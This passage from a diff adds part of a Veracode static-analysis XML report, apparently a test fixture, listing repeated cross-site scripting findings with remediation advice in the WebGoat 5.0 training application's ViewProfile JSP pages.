+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"51\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"237\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"72\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"88\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"53\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"130\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"107\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"174\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"55\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"196\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"8\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"254\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"57\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"213\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"156\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
